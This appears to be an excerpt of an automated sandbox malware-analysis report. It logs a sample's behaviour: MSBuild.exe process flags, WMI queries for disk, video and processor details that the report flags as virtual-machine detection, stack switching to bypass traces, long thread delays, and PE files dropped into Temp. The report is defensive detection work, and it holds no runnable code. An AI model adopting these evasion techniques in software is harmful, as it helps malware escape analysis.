Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	API/Special instruction interceptor: Address: 769C7C44
Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	API/Special instruction interceptor: Address: 769C7945
Source: C:\Windows\SysWOW64\more.com	API/Special instruction interceptor: Address: 769C3B54
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	API/Special instruction interceptor: Address: 769C7C44
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	API/Special instruction interceptor: Address: 769C7945

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: E60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2BB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 29B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 1010000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2A50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2820000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 15C0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 3170000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 1740000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: BB0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2880000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: BB0000 memory reserve \| memory write watch

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 5794			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 3674			Jump to behavior

Source: C:\Windows\SysWOW64\more.com	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\kwvvjj	Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\pvrrwvlxy	Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\xwv	Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\yuyhf	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Registry key enumerated: More than 140 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4216	Thread sleep time: -31359464925306218s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4216	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4216	Thread sleep time: -59890s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4296	Thread sleep time: -51739s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4216	Thread sleep time: -59781s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4296	Thread sleep time: -40806s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4216	Thread sleep time: -59671s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4216	Thread sleep time: -59561s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4216	Thread sleep time: -59450s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4216	Thread sleep time: -59343s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4296	Thread sleep time: -43926s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4296	Thread sleep time: -37805s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4296	Thread sleep time: -41713s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4296	Thread sleep time: -55199s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4296	Thread sleep time: -58084s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4296	Thread sleep time: -48477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4296	Thread sleep time: -37343s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4296	Thread sleep time: -36515s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4296	Thread sleep time: -55200s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4296	Thread sleep time: -50943s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4296	Thread sleep time: -39854s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5984	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 2880	Thread sleep time: -540000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4296	Thread sleep time: -39680s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4296	Thread sleep time: -44791s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4296	Thread sleep time: -40895s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4296	Thread sleep time: -56297s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4296	Thread sleep time: -57530s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4296	Thread sleep time: -47774s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4296	Thread sleep time: -30845s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4296	Thread sleep time: -50821s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4296	Thread sleep time: -52405s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4296	Thread sleep time: -47400s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4296	Thread sleep time: -58301s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4296	Thread sleep time: -54094s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4296	Thread sleep time: -45011s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4296	Thread sleep time: -43787s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4296	Thread sleep time: -33504s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4296	Thread sleep time: -56157s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 348	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4476	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5184	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 59890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 51739	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 59781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 40806	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 59671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 59561	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 59450	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 59343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 43926	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 37805	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 41713	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 55199	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 58084	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 48477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 37343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 36515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 55200	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 50943	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 39854	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 39680	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 44791	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 40895	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 56297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 57530	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 47774	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 30845	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 50821	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 52405	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 47400	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 58301	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 54094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 45011	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 43787	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 33504	Jump to behavior
